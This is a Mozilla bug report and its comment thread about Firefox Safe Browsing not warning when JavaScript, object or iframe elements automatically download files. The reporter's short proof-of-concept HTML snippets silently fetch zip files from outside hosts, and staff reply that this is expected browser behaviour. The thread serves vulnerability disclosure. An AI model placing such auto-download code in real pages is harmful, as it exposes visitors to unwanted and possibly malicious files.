Malware can download within js
Categories
(Toolkit :: Safe Browsing, defect)
Tracking
()
People
(Reporter: sm.tomal741, Unassigned)
Details
(Keywords: reporter-external, Whiteboard: [reporter-external] [client-bounty-form] [verif?])
Attachments
(1 file)
1.63 MB,
video/mp4
|
Details |
The JavaScript is embedded in the HTML page, and it runs when the page is loaded by the browser. The JavaScript code creates an a element, sets its properties, and adds it to the document.body. When the code triggers the click event on the a element, the browser starts the download process.
In this case, this should be restricted or blocked or show an warning in malware landing page, which is missing in Firefox.
Reproduce Steps:
- POC CODE:
<html>
<head>
<script>
window.onload = function() {
const aElement = document.createElement("a");
aElement.setAttribute("href", "https://filebin.net/archive/1tgmv6mp174kau3n/zip");
aElement.setAttribute("download", "file.zip");
aElement.style.display = "none";
document.body.appendChild(aElement);
aElement.click();
};
</script>
</head>
<body>
Example Page Example.
</body>
</html>
Reporter | ||
Comment 1•2 years ago
|
||
when visiting this site: https://testsafebrowsing.appspot.com/s/malware.html, the malware trigger by embedded src and it gives warning because of advisory provided by Google Safe Browsing (according to the page). But malware file can also trigger by JS which Firefox don't restrict or block. Also, direct file download or execute something by JS in browser is a security concern which should Firefox look up.
Comment 2•2 years ago
|
||
(I've edited the first comment to fix the markup.)
Reporter | ||
Comment 3•2 years ago
|
||
thanks
Reporter | ||
Comment 4•2 years ago
|
||
You can also check this code for malware landing site loaded as object or embed
<html>
<head></head>
<body>
Example Page Example.
<p>
<object data="https://filebin.net/archive/1tgmv6mp174kau3n/zip"></object>
</p>
</body>
</html>
Updated•2 years ago
|
Comment 5•2 years ago
|
||
(In reply to sm.tomal741 from comment #1)
when visiting this site: https://testsafebrowsing.appspot.com/s/malware.html, the malware trigger by embedded src and it gives warning because of advisory provided by Google Safe Browsing (according to the page). But malware file can also trigger by JS which Firefox don't restrict or block.
We give the warning because that particular download is in the SafeBrowsing list. Browsers aren't anti-virus and we don't scan downloads, all we are doing is checking against known popular malware. It weeds out a lot of stuff to protect people in bulk, but it is no substitute for an anti-virus program to detect novel targeted attacks
Also, direct file download or execute something by JS in browser is a security concern which should Firefox look up.
There are bugs on file for that, but I get the same behavior on Chrome for https://anacondabd.000webhostapp.com/file4 so I believe this is expecting browsers to be what they are not.
Reporter | ||
Comment 6•2 years ago
|
||
Can you please take a look into this: https://chromium.googlesource.com/chromium/src/+/acb933d418845fb73e5705ff499e414a021f160c
Comment 7•2 years ago
|
||
If you were trying to report an issue with safe browsing, you should use example URLs that are blocked by safe browsing. The filebin file downloaded just fine in Chrome for me. Firefox does not block pages that contain embedded things on the safe browsing list, but we don't load them. For instance, in the embed image_large.html malware case from that Chromium bug report loads in Firefox, but we just don't show the image.
Comment 8•2 years ago
|
||
I tried the example <embed src="https://testsafebrowsing.appspot.com/s/malware.html">
in the Chrome bug. We do load the HTML page as intended, but we do not load the embedded malware page. I loaded the page in Safari, and clicked through the warning, and then the page has some text like "Malware Page Example", but that text (and the download link) does not appear in Firefox.
Reporter | ||
Comment 9•2 years ago
|
||
take a look in this documentation: https://chromium.googlesource.com/chromium/src/+/acb933d418845fb73e5705ff499e414a021f160c/chrome/test/data/safe_browsing/malware4.html
this is the url: http://anacondabd.000webhostapp.com/obj2
and code:
<html>
<body>
<div foo=1>
<div bar=1>
<embed src="https://anacondabd.000webhostapp.com/obj.html"></iframe>
</div>
</div>
</body>
</html>
even it works in chrome, i don't get any warning
What's the dissimilar now?
Reporter | ||
Comment 10•2 years ago
|
||
And yes browsers aren't anti-virus, and I am not saying this, the problem I faced in malware landing page which auto downloads, and I thought it should be an issue for Firefox, and that's why I reported.
Reporter | ||
Comment 11•2 years ago
|
||
If you bother with filebin then take a look of this.
The given URL to target or when user go to this URL: https://anacondabd.000webhostapp.com/obj4
for obj4 code:
<html>
<head></head>
<body>
Example Page Example.
<p>
<object data="https://anacondabd.000webhostapp.com/obj3"></object>
</p>
</body>
</html>
obj3 code:
<html>
<head></head>
<body>
<iframe id="myIframe" style="display:none"></iframe>
<script>
var iframe = document.getElementById("myIframe");
iframe.src = "https://anacondabd.000webhostapp.com/zipped.zip";
iframe.style.display = "block";
</script>
</body>
</html>
and it can easily download malware by malware landing page, which should be restricted according to documentation.
That is what i am saying must trigger by browser's.
Updated•2 years ago
|
Updated•11 months ago
|
Description
•